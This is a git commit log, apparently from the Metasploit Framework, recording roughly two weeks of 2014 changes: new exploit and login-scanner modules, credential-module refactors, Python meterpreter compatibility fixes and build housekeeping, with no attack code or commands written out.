jakxx 52c33b7e79 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2014-06-02 17:32:51 -04:00
Spencer McIntyre 76c3aaf743 Pymeterpreter get type encoder from dict instead 2014-06-02 17:32:08 -04:00
Spencer McIntyre aeca455a10 Pymeterpreter update pystagers for version 3.1/3.2 2014-06-02 17:18:13 -04:00
Spencer McIntyre b84297980d Pymeterpreter use print_exc and not print_exception 2014-06-02 16:50:54 -04:00
Christian Mehlmauer ff6607bd87 Correct documentation link
changed link from https://dev.metasploit.com/documents/api/ to https://dev.metasploit.com/api/
2014-06-02 22:37:20 +02:00
David Maloney 07093ada58 add realm handling to psexec
oops, forgot to create the realm when applicable
2014-06-02 14:53:40 -05:00
jvazquez-r7 9574a327f8 use the new check also in exploit() 2014-06-02 14:38:33 -05:00
jvazquez-r7 3c38c0d87c Dont be confident about string comparision 2014-06-02 14:37:29 -05:00
William Vu 9063d3cf1f Land #3417, release fixes 2014-06-02 14:34:14 -05:00
Luke Imhoff ca63d2201e Update init_module_paths spec to match Rails::Engine behavior
MSP-9653
2014-06-02 14:26:35 -05:00
Tod Beardsley b136765ef7 Nuke extra space at EOL 2014-06-02 14:22:01 -05:00
David Maloney 361b9a1616 psexec credential refactor
refactor psexec credential reporting
to use Metasploit::Credential
2014-06-02 14:20:54 -05:00
Luke Imhoff 1295028595 Remove unneeded MetasploitDataModels.require_models
MSP-9653

Models are loaded using railties features.
2014-06-02 13:54:38 -05:00
Luke Imhoff fcd23545e8 Remove pro schema infection
MSP-9653
2014-06-02 13:54:11 -05:00
Lance Sanchez 15fffb1668 Adding in some tests
cleaning up the regex a bit

MSP-9678
2014-06-02 13:50:30 -05:00
Luke Imhoff 9e78509aac Merge branch 'staging/electro-release' into feature/MSP-9653/use-metasploit-concern-in-pro
MSP-9653

Conflicts:
	Gemfile
	Gemfile.lock
2014-06-02 13:40:11 -05:00
Luke Imhoff 0b57ed9134 Update schema.rb
MSP-9653
2014-06-02 13:32:00 -05:00
Luke Imhoff 80a75e1e9c Update Gemfile.lock
MSP-9653

Forgot to `bundle install` after changing the metasploit-credential
version.
2014-06-02 13:27:56 -05:00
Tod Beardsley ea383b4139 Make print/descs/case consistent 2014-06-02 13:20:01 -05:00
Trevor Rosen 5c745c4b9c Merge pull request #31 from rapid7/feature/MSP-9728/coreftp
refactor coreFTP post module

MSP-9728 #land
2014-06-02 13:19:11 -05:00
Tod Beardsley b7dc89f569 I prefer "bruteforce" to "brute force" for search
Just makes it easier to search for, since it's an industry term of art.
2014-06-02 13:09:46 -05:00
Luke Imhoff 898b108863 Gemspec
MSP-9653

Add gemspec for metasploit-framework so that pro can declare it as a
proper dependency.  DO NOT release metasploit-framework to rubygems: it
is 47 MB and would be not be nice to their servers.
2014-06-02 13:03:07 -05:00
Luke Imhoff ebf61bef22 Metasploit::Framework::Engine
MSP-9653

Rails::Engine version of Metasploit::Framework::Application that can be
used by downstream projects, like Pro to get the shared behaviors, like
modules path adding, meterpreter extension merging, and binary default
encoding.
2014-06-02 13:00:22 -05:00
Luke Imhoff 9d326fcb24 Extra common engine and fix default encoding
MSP-9653

Extra config and initializers that can we shared between
Metasploit::Framework::Application and the future
Metasploit::Framework::Engine.  Move the default encoding setup from
lib/msf/sanity.rb to a before_initialize callback for the shared config
so that gems, like gherkin that depend on the utf-8 default internal
encoding can be loaded.
2014-06-02 12:57:48 -05:00
Luke Imhoff 3ebe7dfbc8 Gem version
MSP-9653

Move version information to standard location for gems.
2014-06-02 12:54:46 -05:00
Luke Imhoff 21fad7163d Msf::DBManager#connection_established?
MSP-9653

Calling `ActiveRecord::Base.establish_connection`, followed by
`ActiveRecord::Base.connected?` returns false unless some other code
requires a connection to be checked out first.  The correct way to check
if the spec passed to `ActiveRecord::Base.establish_connection` is to
checkout a connection and then ask if it is active.
`Msf::DBManager#connection_established?` does the checkout, active check
and checkin, and should be used in place of
`ActiveRecord::Base.connected?` and
`ActiveRecord::Base.connection_pool.connected?`.
`Msf::DBManager#active` should still be used as it also checks for
adapter/driver usability and that migrations have run.
2014-06-02 12:49:09 -05:00
Luke Imhoff b436aeff01 msfenv compatibility with Pro
MSP-9653

lib/msfenv.rb should only load the framework environment to initialize
Metasploit::Framework::Application if a Rails.application is not
defined, otherwise it will clash with the Rails application in prosvc.
2014-06-02 12:41:22 -05:00
Luke Imhoff 1055efbeaa Add module paths from paths['modules'] from Rails app and engines
MSP-9653

Allow rails engines (and other applications, like
Metasploit::Pro::Engine::Application) to define their own module paths
using the paths['modules'] entry for Rails Applications/Engines.
2014-06-02 12:32:54 -05:00
Luke Imhoff 84f5a0d499 Explicitly require gem dependencies
MSP-9653
2014-06-02 12:27:15 -05:00
David Maloney 9eb42cb80f refactor smartftp post module
refactor the smartftp credential post module to use
Metasploit::Credential
2014-06-02 11:48:45 -05:00
David Maloney 34004908bb Merge branch 'master' into staging/electro-release
Conflicts:
	.ruby-version
2014-06-02 11:10:33 -05:00
William Vu 8bd4e8d30a Land #3406, indeces_enum -> indices_enum 2014-06-02 11:06:33 -05:00
William Vu bba741897e Land #3413, improved FileDropper cleanup message 2014-06-02 11:05:48 -05:00
Trevor Rosen d9fd77fba7 Merge pull request #29 from rapid7/feature/MSP-9739/mremote_refactor
Feature/msp 9739/mremote refactor

MSP-9739 #land
2014-06-02 11:05:20 -05:00
Lance Sanchez f2a2975bc1 Merge branch 'staging/electro-release' into feature/MSP-9678/pop3-login-scanner 2014-06-02 10:56:54 -05:00
Christian Mehlmauer 428df19739 Changed message 2014-06-02 17:28:09 +02:00
Trevor Rosen 90c8ade911 Merge pull request #28 from rapid7/feature/MSP-9726/smart_hashdump
Feature/msp 9726/smart hashdump

MSP-9726 #land
2014-06-02 08:31:16 -05:00
jvazquez-r7 d0241cf4c1 Add check method 2014-06-02 08:14:40 -05:00
jvazquez-r7 31af8ef07b Check .NET version 2014-06-01 20:58:08 -05:00
Meatballs e3a20ae073 Merge remote-tracking branch 'upstream/pr/3416' into x64_injection 2014-06-01 16:10:53 +01:00
OJ 8346e20bf1 Change memory types from DWORD to QWORD
This was causing memory allocations to fail on x64 in cases where
the higher bits were set in addresses.
2014-06-01 21:27:07 +10:00
Meatballs f0e9a9010e Return nil if fail 2014-06-01 11:55:40 +01:00
Meatballs 3c5fae3706 Use correct include 2014-06-01 11:51:06 +01:00
Meatballs 4801a7fca0 Allow x86->x64 injection 2014-06-01 11:50:13 +01:00
Meatballs a4ecd8e02d Should return the thread object 2014-06-01 11:49:56 +01:00
Meatballs 58ee2ccd6e Land #3390, Fix have_powershell 2014-06-01 10:43:35 +01:00
Christian Mehlmauer 03b4a29662 Clarify filedropper error message 2014-05-31 22:17:32 +02:00
OJ 823f31d8af Land #3402 IE 11 sandbox source and updated bins 2014-05-31 11:34:51 +10:00
jvazquez-r7 f6862cd130 Land @OJ's updated meterpreter binaries 2014-05-30 20:27:28 -05:00
OJ d2b8706bd6 Include meterpreter bins, add Sandbox builds
This commit contains the binaries that are needed for Juan's sandbox
escape functionality (ie. the updated old libloader code). It also
contains rebuilt binaries for all meterpreter plugins.

I've also added command line build scripts for the sandbox escapes
and added that to the "exploits" build.
2014-05-31 08:12:34 +10:00
Spencer McIntyre 77eac38b01 Pymeterpreter fix processes_via_proc for Python v3 2014-05-30 16:32:03 -04:00
William Vu e9bce6641c Land #3410, 1.9.3-p547 for .ruby-version 2014-05-30 15:11:48 -05:00
Christian Mehlmauer c0391edff7 Land #3409, fix for http crawler 2014-05-30 21:51:33 +02:00
Tod Beardsley 730ca62089 Bump to p547 to fix a regression in p545
In my excitement of landing #3281 I didn't check to see if there was a
newer Ruby available. Turns out, p547 was released on May 16, and fixes
a regression regarding OpenSSL.

Announcement:

https://www.ruby-lang.org/en/news/2014/05/16/ruby-1-9-3-p547-released/

Sorry about the shuffle.
2014-05-30 14:27:54 -05:00
David Maloney 1e2ae16713 refactor vnc post module
this adds Metasploit::Credential functionality to
the post/windows/gather/credentials/vnc module
it also fixes a hostname resolution issue on windows
hashdump that could occur when the peerhost is an unresolved
hostname
2014-05-30 14:27:44 -05:00
David Maloney 86fec3a33f refactor coreFTP post module
post/windows/gather/credentials/coreftp now uses
the new Metasploit::Credential methods
2014-05-30 14:06:31 -05:00
Trevor Rosen dee4acdb2a Merge pull request #27 from rapid7/feature/MSP-9725/windows_hashdump
Windows Hashdump post module refactor

MSP-9725 #land
2014-05-30 14:04:31 -05:00
Trevor Rosen 8bcd763039 Merge pull request #26 from rapid7/feature/MSP-9685/telnet_login_scanner
Feature/msp 9685/telnet login scanner

MSP-9685 #land
2014-05-30 13:40:18 -05:00
RageLtMan 74400549a1 Resolve undefined method `get_cookies'
Anemone::Page is not a Rex HTTP request/response, and uses the
:cookies method to return an array of cookies.
This resolves the method naming error, though it does break with
Rex naming convention since Anemone still uses a lot non-Rex
methods for working with pages/traffic.
2014-05-30 14:39:51 -04:00
Spencer McIntyre 4f5ab2c596 Pymeterpreter support process channels for Python v3 2014-05-30 14:35:47 -04:00
David Maloney 782c8bd172 Merge branch 'staging/electro-release' into feature/MSP-9725/windows_hashdump 2014-05-30 13:28:35 -05:00
David Maloney 5757c95fcb Merge branch 'staging/electro-release' into feature/MSP-9739/mremote_refactor 2014-05-30 13:28:11 -05:00
David Maloney bfc7ee8cdf Merge branch 'staging/electro-release' into feature/MSP-9726/smart_hashdump 2014-05-30 13:27:15 -05:00
Trevor Rosen 661abe65c4 Merge pull request #30 from rapid7/feature/MSP-9971/cred-creation
Feature/msp 9971/cred creation
2014-05-30 13:13:03 -05:00
David Maloney ba525c7b78 use metasploit-credential creation methods 2014-05-30 13:07:11 -05:00
Tod Beardsley 8f52133471 Land #3281, require latest Ruby 1.9.3
Note, this will cause developer environments to complain until Ruby is
reinstalled. It's probably a good idea to reinstall anyway, though,
since people who haven't in a while may have been linked against a
Heartbleed-vulnerable openssl library.
2014-05-30 12:55:54 -05:00
jvazquez-r7 3ae4a16717 Clean environment variables 2014-05-30 12:21:23 -05:00
jvazquez-r7 b99b577705 Clean environment variable 2014-05-30 12:20:00 -05:00
jvazquez-r7 b27a95c008 Delete unused code 2014-05-30 12:08:55 -05:00
jvazquez-r7 e215bd6e39 Delete unnecessary code and use get_env 2014-05-30 12:07:59 -05:00
jvazquez-r7 4a1fea7abb Land #2948, @juushya's PocketPAD login bruteforce module 2014-05-30 11:47:16 -05:00
jvazquez-r7 b0bdfa7680 Clean up code 2014-05-30 11:44:42 -05:00
jvazquez-r7 fb59221189 Land #2494, @juushya's etherpadduo login module 2014-05-30 11:35:28 -05:00
jvazquez-r7 d92a7adc68 change module filename 2014-05-30 11:31:49 -05:00
David Maloney 98a23881ee remove cred creation methods
removed cred creation methods from framework
and include them from the metasploit-credential gem instead
2014-05-30 11:28:53 -05:00
jvazquez-r7 40a103967e Minor code cleanup 2014-05-30 11:28:37 -05:00
Michael Messner 76ed9bcf86 hedwig.cgi - cookie bof - return to system 2014-05-30 17:49:37 +02:00
Michael Messner 1ddc2d4e87 hedwig.cgi - cookie bof - return to system 2014-05-30 17:32:49 +02:00
Spencer McIntyre e2cc2fece0 Pymeterpreter update win reg functions for python v3 2014-05-30 10:51:36 -04:00
jvazquez-r7 c1368dbb4c Use %windir% 2014-05-30 09:06:41 -05:00
jvazquez-r7 1dbd36a3dd Check for the .NET dfsvc and use %windir% 2014-05-30 09:02:43 -05:00
Tom Sellers af569449d9 Code cleanup
Fixes based on response from @timwr and @kernelsmith.
Retested with Ubuntu and Metasploitable 2 to validate proper payload. Also tested for port conflict detection after the change.  Returning false on line 243 simplifies the if logic on line 251/252.
2014-05-29 18:27:17 -05:00
jvazquez-r7 ffbcbe8cc1 Use cmd_psh_payload 2014-05-29 18:12:18 -05:00
jvazquez-r7 03889ed31f Use cmd_psh_payload 2014-05-29 18:11:22 -05:00
jvazquez-r7 6f330ea190 Add deprecation information 2014-05-29 17:38:01 -05:00
Julian Vilas 60c5307475 Fix msftidy 2014-05-30 00:14:59 +02:00
jvazquez-r7 0d07fb6c39 Land #2858, @jiuweigui's post module to enumerate Enumerate MUICache 2014-05-29 17:08:50 -05:00
jvazquez-r7 a6229aedff Rescue RequestError when downloading file 2014-05-29 17:07:22 -05:00
jvazquez-r7 f2a71a47ca Use \&\& instead of and 2014-05-29 17:04:38 -05:00
jvazquez-r7 31c282153e Avoid ntuser.dat md5 because is causing problems, even when data is extracted 2014-05-29 17:02:28 -05:00
Julian Vilas 9627bae98b Add JDWP RCE for Windows and Linux 2014-05-29 23:45:44 +02:00
David Maloney e012d55d73 refactor mremote
mremote post module now refactored to
use new metasploit credentials
2014-05-29 16:27:41 -05:00
William Vu 3a9f7fb7f9 Land #3405, improved Nokogiri check for msftidy 2014-05-29 16:21:26 -05:00
jvazquez-r7 95b71dee00 Try to fix crash while file_remote_digest 2014-05-29 16:12:51 -05:00
David Maloney a1131092b7 fix open rescue
rescuing all exceptions bad
bad past dave bad
2014-05-29 16:05:16 -05:00
jvazquez-r7 cbbd7bfdf4 Refacotor code 2014-05-29 15:55:44 -05:00
David Maloney bf3bb63e4a fix mremote to work on mremoteNG
fixed the mremote credential post module to work
against the newer mRemoteNG
2014-05-29 15:43:02 -05:00
Spencer McIntyre 04e94b0c07 Fix meterpreter and file tests for Python v3.4 on Win 2014-05-29 16:42:28 -04:00
Tod Beardsley 4b97418f07 Land todb-r7#8, better nested if 2014-05-29 15:19:04 -05:00
David Maloney f61aeb818a smart hashdump refactor
refactor the windows smart hashdump post module
to use the new cred creation methods
2014-05-29 15:06:42 -05:00
jvazquez-r7 cdabb71d23 Make code cleanup 2014-05-29 14:51:10 -05:00
Spencer McIntyre 15dc33591b In pymeterpreter use a MeterpreterFile obj for Py v3 2014-05-29 15:09:09 -04:00
David Maloney e3c4745879 Windows Hashdump post module refactor
refactor the Hashdump post module for window
to use the new cred creation methods.
Also some extra methods to do db safe checks
for record ids that we need
2014-05-29 13:20:32 -05:00
William Vu 17fb48eaa3 Refactor check_nokogiri in msftidy 2014-05-29 13:20:23 -05:00
Spencer McIntyre d8dcfd8f41 Update pymeterpreter netlink to support python3 2014-05-29 13:48:15 -04:00
jvazquez-r7 aea0379451 Fix typos 2014-05-29 12:37:51 -05:00
David Maloney 696d2b7e6b Merge branch 'master' into staging/electro-release 2014-05-29 12:30:32 -05:00
sinn3r 3a3d038904 Land #3397 - ElasticSearch Dynamic Script Arbitrary Java Execution 2014-05-29 12:21:21 -05:00
sinn3r dfa61b316e A bit of description change 2014-05-29 12:20:40 -05:00
Tod Beardsley 2ce6f325f5 Be more specific with Nokogiri check
There are still strong reservations about using Nokogiri to parse
untrusted XML data.

http://www.wireharbor.com/hidden-security-risks-of-xml-parsing-xxe-attack/

It is also believed that many desktop operating systems are still
shipping out-of-date and vulnerable libxml2 libraries, which become
exposed via Nokogiri. For example:

http://stackoverflow.com/questions/18627075/nokogiri-1-6-0-still-pulls-in-wrong-version-of-libxml-on-os-x

While this isn't a problem for binary builds of Metasploit (Metasploit
Community, Express, or Pro) it can be a problem for development
versions or Kali's / Backtrack's version.

So, the compromise here is to allow for modules that don't directly
expose XML parsing. I can't say for sure that the various libxml2
vulnerabilities (current and future) aren't also exposed via
`Nokogiri::HTML` but I also can't come up with a reasonable demo.

Metasploit committers should still look at any module that relies on
Nokogiri very carefully, and suggest alternatives if there are any. But,
it's sometimes going to be required for complex HTML parsing.

tl;dr: Use REXML for XML parsing, and Nokogiri for HTML parsing if you
absolutely must.
2014-05-29 11:52:17 -05:00
jvazquez-r7 e145298c13 Add module for CVE-2014-0257 2014-05-29 11:45:19 -05:00
jvazquez-r7 6e122e683a Add module for CVE-2013-5045 2014-05-29 11:42:54 -05:00
jvazquez-r7 75777cb3f9 Add IE11SandboxEscapes source 2014-05-29 11:38:43 -05:00
dmaloney-r7 e669324366 Merge pull request #25 from rapid7/feature/MSP-9673/axis2-login-scanner
Add axis2 login scanner
2014-05-29 11:22:22 -05:00
David Maloney 2c6f89a58d add sane default for connection timeout 2014-05-29 11:12:59 -05:00
David Maloney d95b0497a7 add more specs
added more specs around telnet specific validations
2014-05-29 11:11:19 -05:00
William Vu 53ab2aefaa Land #3386, a few datastore msftidy error fixes 2014-05-29 10:44:37 -05:00
David Maloney eb04a3774a fixes for telnet wierdness
had to work around the way the old
Auxiliary::Login mixin worked. Scanner
now works properly
2014-05-29 10:43:00 -05:00
William Vu 325e75b72f Land #3380, datastore msftidy errors set to INFO
[SeeRM #8498]
2014-05-29 10:19:59 -05:00
Spencer McIntyre 145776db4d Add a DEBUGGING option to the python meterpreter 2014-05-29 10:52:49 -04:00
Tom Sellers 2f811381dc Update shell_to_meterpreter.rb 2014-05-29 06:17:31 -05:00
Tom Sellers 6a30a49bcf Update shell_to_meterpreter.rb 2014-05-29 06:08:42 -05:00
Tom Sellers 427a353be4 Update core.rb 2014-05-29 06:07:50 -05:00
Tom Sellers 29fc2de39b Update bourne.rb 2014-05-29 06:02:30 -05:00
Tom Sellers aa85cb8195 Update powershell.rb 2014-05-29 05:46:32 -05:00
Christian Mehlmauer 21d5e630f4 Land #3400, last msftody set-cookie warnings 2014-05-29 12:07:37 +02:00
William Vu 8a2236ecbb Fix the last of the Set-Cookie msftidy warnings 2014-05-29 04:42:49 -05:00
James Lee dcc4d25f15 Merge branch 'feature/MSP-9640/cred_creation' into staging/electro-release 2014-05-28 16:44:51 -05:00
James Lee 572e4f2bdf Fix dumb missing options and add spec 2014-05-28 16:32:38 -05:00
Spencer McIntyre 15b1c79039 Adjust whitespace and set bytes to str for Python 2 2014-05-28 16:30:27 -04:00
William Vu 3f86aebabf Land #3398, CAPWAP DoS description cleanup 2014-05-28 14:55:22 -05:00
William Vu 785b53820e Land #3399, print_error instead of print_status 2014-05-28 14:53:00 -05:00
David Maloney 1bc2140fa6 Telnet LoginScanner basics
basic Telnet LoginScanner with shell
specs. Need to test functionality
and write additional specs
2014-05-28 14:47:58 -05:00
HD Moore c7366b4361 Fix a small typo in the regex 2014-05-28 14:40:09 -05:00
HD Moore 583dab62b2 Introduce and use OS matching constants 2014-05-28 14:35:22 -05:00
Luke Imhoff 0e60f08e51 Don't re-establish connection
MSP-9653

If ActiveRecord::Base is already connected, then don't attempt to create
the database (as it involves establishing a new connection) or
establishing a new connection after the creation.  Still run the
migrations as the normal Rails::Application.initialize! will result in
ActiveRecord::Base.connected? being true even if migrations are missing.
2014-05-28 14:34:36 -05:00
James Lee 05e24326a6 Style compliance 2014-05-28 14:31:34 -05:00
David Maloney 747395e383 create telnet clinet mixin
copy paste existing stuff repurposed for use
in a real class instead of a metasploit module
2014-05-28 13:53:50 -05:00
joev c89cd24621 Rewire some snmp modules to use print_error instead of print_status. 2014-05-28 13:31:00 -05:00
Lance Sanchez 07a61ae696 adding in changes from before my vacation..
MSP-9678
2014-05-28 13:18:28 -05:00
Tod Beardsley 4b5c62ba8d Dress up CAPWAP DoS desc a little. 2014-05-28 12:19:17 -05:00
David Maloney 821a62627a final spec cleanup 2014-05-28 09:56:26 -05:00
David Maloney d8adb3a814 fix gemfile 2014-05-28 09:42:05 -05:00
David Maloney ca4c942ceb Merge branch 'staging/electro-release' into feature/MSP-9640/cred_creation 2014-05-28 09:40:44 -05:00
David Maloney 967b0d49b1 Merge branch 'master' into staging/electro-release
Conflicts:
	Gemfile
	Gemfile.lock
2014-05-28 09:39:56 -05:00
David Maloney deabd1c3b0 tidy the YARD
some more cleanup, in the YARD
docs this time.
2014-05-28 09:30:45 -05:00
David Maloney c975d4dc49 some minor cleanup items 2014-05-28 09:26:19 -05:00
James Lee 3ac2182984 First stab at axis2 login scanner 2014-05-27 23:53:04 -05:00
William Vu 832d22cdb8 Land #3395, sqlite3 gem for some post modules 2014-05-27 19:22:46 -05:00
jvazquez-r7 7a29ae5f36 Add module for CVE-2014-3120 2014-05-27 18:01:16 -05:00
jvazquez-r7 55ef5dd484 Land #3115, @silascutler's module for elasticsearch indeces enumeration 2014-05-27 11:28:34 -05:00
jvazquez-r7 2271afc1a5 Change module filename 2014-05-27 11:25:39 -05:00
jvazquez-r7 3de8beb5fd Clean code 2014-05-27 11:22:40 -05:00
James Lee cc1e81ecb7 Add sqlite3 to Gemfile
Fixes all the post modules that require it to parse pilfered sqlite DB
files.
2014-05-27 10:29:55 -05:00
jvazquez-r7 69e8286838 Fix title 2014-05-27 10:29:32 -05:00
jvazquez-r7 1316365c2f Fix description 2014-05-27 10:22:39 -05:00
jvazquez-r7 abe1d6ffc7 Land #3190, @Karmanovskii's module to fingerprint MyBB database 2014-05-27 10:20:24 -05:00
jvazquez-r7 86221de10e Fix message 2014-05-27 10:18:27 -05:00
jvazquez-r7 b96c2dd0ca Change module filename 2014-05-27 10:15:39 -05:00
jvazquez-r7 1d8c46155b Do last code cleaning 2014-05-27 10:14:55 -05:00
Tom Sellers 5e33de3e8f Update bourne.rb 2014-05-27 06:14:12 -05:00
Tom Sellers f956c8d94f Create shell_to_meterpreter.rb 2014-05-27 06:12:09 -05:00
Tom Sellers ae1b7e564b Update powershell.rb 2014-05-27 05:18:00 -05:00
William Vu 704e4d78ca Fix typo in client_request.rb comment 2014-05-26 23:55:48 -05:00
William Vu 0133e861f8 Fix typo 2014-05-26 23:55:20 -05:00
William Vu 352e14c21a Land #3391, all vars_get msftidy warning fixes 2014-05-26 23:41:46 -05:00
William Vu 936c29e69b Land #3387, some Set-Cookie msftidy warning fixes 2014-05-26 23:37:33 -05:00
Karmanovskii eacf70af83 Update mybb_get_type_db.rb
26.05.2014  23:26
I deleted mimicking IE11
2014-05-26 23:26:28 +04:00
Meatballs 1914e0abd3 Land 3393, Add session and framework vars to irb 2014-05-26 18:50:20 +01:00
Rob Fuller 32ca70212c Merge pull request #7 from jvazquez-r7/review_3388
make MSF_MODULES a constant
2014-05-25 21:40:30 -04:00
jvazquez-r7 994891e9c5 Land #3383, @wchen-r7's [FixRM #8804] Fix / URIPATH for BrowserExploitServer 2014-05-25 19:51:30 -05:00
jvazquez-r7 e585d11499 make MSF_MODULES a constant 2014-05-25 19:36:40 -05:00
jvazquez-r7 217a14e4d7 Land #3366, @jholgui's module for CVE-2013-4074 2014-05-25 18:53:30 -05:00
jvazquez-r7 33ba134147 Clean msftidy warnings and metadata 2014-05-25 18:52:01 -05:00
jvazquez-r7 d3c17d8e3e Delete wireshark_capwap_dos 2014-05-25 18:39:53 -05:00
Spencer McIntyre 77e70d8bbe Add 2 more variables for meterpreter irb 2014-05-25 16:28:40 -04:00
Spencer McIntyre c559483176 Land #3392, @TomSellers patch to use python constants 2014-05-25 16:18:42 -04:00
Tom Sellers 77f66f8510 Update reverse_tcp.rb 2014-05-25 14:04:54 -05:00
Tom Sellers b5c567c462 Update bind_tcp.rb 2014-05-25 14:03:45 -05:00
Christian Mehlmauer da0a9f66ea Resolved all msftidy vars_get warnings 2014-05-25 19:29:39 +02:00
Rob Fuller 61603748bd two more tweaks 2014-05-25 10:45:09 -04:00
Rob Fuller 6435b4370a @Meatballs1 fixes 2014-05-25 10:40:23 -04:00
Tom Sellers 42a17cc085 Update powershell.rb
To be clear, the shell that was tested with was 'windows/shell_reverse_tcp' delivered via 'exploit/windows/smb/psexec'

Additional changes required to fix regex to support the multiline output.  Also, InstanceId uses a lower case 'D' on the platforms I tested - PowerShell 2.0 on Windows 2003, Windows 7, Windows 2008 R2 as well as PowerShell 4.0 on Windows 2012 R2.

This method doesn't appear to be used anywhere in the Metasploit codebase currently.
2014-05-25 08:59:42 -05:00
Tom Sellers 76b9273f10 Improve reliability of have_powershell
I have a case where on a Windows 2008 R2 host with PowerShell 2.0 the 'have_powershell' method times out.  When I interactively run the command I find that the output stops after the PowerShell command and the token from 'cmd_exec' is NOT displayed.  When I hit return the shell then processes the '&echo <randomstring>' and generates the token that 'cmd_exec' was looking for.  I tried various versions of the PowerShell command string such as 'Get-Host;Exit(0)', '$PSVErsionTable.PSVersion', and '-Command Get-Host' but was unable to change the behavior.  I found that adding 'echo. | ' simulated pressing enter and did not disrupt the results on this host or on another host where the 'have_powershell' method functioned as expected.

There may be a better solution, but this was the only one that I could find.
2014-05-25 08:07:38 -05:00
Rob Fuller e3a6782345 add post module based on @zeroSteiner idea 2014-05-24 23:37:17 -04:00
Lutz Wolf 2b75a53c93 Add basic rspec for portspec_to_portlist 2014-05-24 23:46:26 +02:00
Lutz Wolf fc5436417b Simplification 2014-05-24 23:45:21 +02:00
Lutz Wolf 4fc6e402dc Allow port 0 2014-05-24 23:44:50 +02:00
JoseMi 9f166b87f6 Changed the description 2014-05-24 18:58:36 +01:00
JoseMi 71e2d19040 Adapted to auxiliary modules structure 2014-05-24 18:53:10 +01:00
Christian Mehlmauer df97c66ff5 Fixed check 2014-05-24 00:37:52 +02:00
Christian Mehlmauer 8d4d40b8ba Resolved some Set-Cookie warnings 2014-05-24 00:34:46 +02:00
Tod Beardsley 1aee0f3305 Warn if it's not UPPERCASE method (@wchen-r7)
See the discussion on f7bfab5a26, PR #3386
2014-05-23 17:10:27 -05:00
Tod Beardsley 9f78bec457 Use normalize_uri (@wchen-r7)
Instead of editing the datastore['PATH'], use normalize_uri.

Since the purpose of this module is quite fuzz-like, I didn't want to
apply the normalize_uri to the whole uri -- the original code merely
applied to datastore['PATH'] (which seems like it should be
datastore['URI'] really) and then added on a bunch of other stuff to
test for traversals.
2014-05-23 15:43:50 -05:00
Tod Beardsley f7bfab5a26 HTTP traversal shouldnt upcase METHOD (@wchen-r7)
If the user wants to use downcased or mixed case HTTP methods, heck,
more power to them. If it doesn't work, it doesn't work. No other HTTP
module makes this call.
2014-05-23 15:32:04 -05:00
Tod Beardsley 7f59cf5035 Ora XID HTTP needn't edit DBUSER (@cellabosm)
Looks like copypasta artifacts. DBUSER and DBPASS aren't ever set as
options in the module, and the module doesn't include MC's
Exploit::ORACLE mixin. It's also from four years ago and doesn't
report_auth or anything useful like that, but that's out of scope for
this branch.
2014-05-23 15:20:46 -05:00
Tod Beardsley efffbf751a PHP module shouldnt zap CMD option (@wchen-r7)
As far as I can tell, there is no purpose for this cleanup. No other CMD
exec module takes pains to clear out CMD after run, and it looks like a
bad idea -- what happens when you rexploit?
2014-05-23 15:09:18 -05:00
Tod Beardsley f189033e8a OWA bruteforce shouldnt edit datastore (@wchen-r7)
This module was written in an era where the defaults for bruteforcing
included a lot of lock-inducing behavior, thus, it was quite serious
about setting datastore options directly. Also, there was apparently a
bug in USER_AS_PASS that this module attempted to avoid by setting the
datastore directly, rather than fixing the bug directly. As far as I
know, this bug has been long since resolved.
2014-05-23 15:08:19 -05:00
Michael Messner b85c0b7543 rop to system with telnetd 2014-05-23 20:51:25 +02:00
David Maloney 32b88c2db6 final fixes to login creation 2014-05-23 10:58:21 -05:00
Chris Hebert 99046ba12a Update alienvault_newpolicyform_sqli.rb
Added EDB link - should be ready now.
2014-05-23 10:07:45 -04:00
joev ae3c334232 Getting closer. Still something f'd with local answerer.html. 2014-05-22 17:14:35 -05:00
William Vu dc7ec450da Land #3384, AIX ibstat exploit interface detection 2014-05-22 16:25:06 -05:00
mercd 28459299b2 Update ibstat_path.rb
Add interface detection, defaulting to en0.
2014-05-22 14:16:04 -07:00
dmaloney-r7 85737d1235 Merge pull request #22 from rapid7/feature/MSP-9646/afp-loginscanner
AFP login scanner
2014-05-22 15:05:24 -05:00
dmaloney-r7 e062e88081 Merge pull request #23 from rapid7/feature/MSP-9671/tomcat-loginscanner
Add Tomcat login scanner
2014-05-22 15:01:47 -05:00
David Maloney fbacf80839 Merge branch 'staging/electro-release' into feature/MSP-9640/cred_creation 2014-05-22 14:39:17 -05:00
David Maloney 75d19e198b Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework-private into staging/electro-release 2014-05-22 14:38:53 -05:00
David Maloney dcc6ed5351 Merge branch 'master' into staging/electro-release 2014-05-22 14:37:09 -05:00
David Maloney ac9af000af full cred creation rotuine done
creating Logins as a seperate method, both
methods are done and fully documented.
2014-05-22 13:53:26 -05:00
sinn3r 1dbe972377 Fix URIPATH / for BrowserExploitServer
[SeeRM #8804] Fix URIPATH / for BrowserExploitServer
2014-05-22 12:18:49 -05:00
William Vu ebd70cbd8f Land #3382, references for IBM Sametime modules 2014-05-22 12:12:18 -05:00
William Vu d31908b72e Land #3374, RPC deadlock fix
[FixRM #8794]
2014-05-22 12:07:23 -05:00
Tod Beardsley fa353e6bd9 Add CVE, IBM ref for SameTime modules 2014-05-22 11:34:04 -05:00
David Maloney 19e36cccb3 Credential Core creation now complete 2014-05-21 16:37:13 -05:00
Tod Beardsley d9fbf861d2 Add an environment option to suppress info msgs
It's often you want counts of just WARN and ERROR messages, and don't
want to spam yourself with INFO messages that you don't intend to
address anyway. This is most often the case with CI, such as with

https://travis-ci.org/todb-r7/metasploit-framework
2014-05-21 16:20:57 -05:00
Tod Beardsley 765419627b Demote datastore edits to info status
SeeRM #8498
2014-05-21 16:18:36 -05:00
joev 14b796acbf First stab at refactoring webrtc mixin. 2014-05-21 15:32:29 -05:00
James Lee 5d1a0397ed Add Tomcat login scanner 2014-05-21 14:28:54 -05:00
David Maloney 3ea99a9d43 private creation w/ specs and docs
the private creation method is now done
with specs and YARD docs
2014-05-21 13:21:56 -05:00
David Maloney 2629549f6f added realm creation
added method for creating credential realm
creation.
2014-05-21 11:22:22 -05:00
Spencer McIntyre e3630278ce Land #3379, [FixRM #8803] - Improve fb_cnct_group check 2014-05-21 11:39:10 -04:00
jvazquez-r7 b9464e626e Delete unnecessary line 2014-05-21 10:18:03 -05:00
sinn3r a22c089aa0 Land #3378 - Add Reference for katello_satellite_priv_esc 2014-05-21 01:30:59 -05:00
jvazquez-r7 af415c941b [SeeRM #8803] Avoid false positives when checking fb_cnct_group 2014-05-20 18:44:28 -05:00
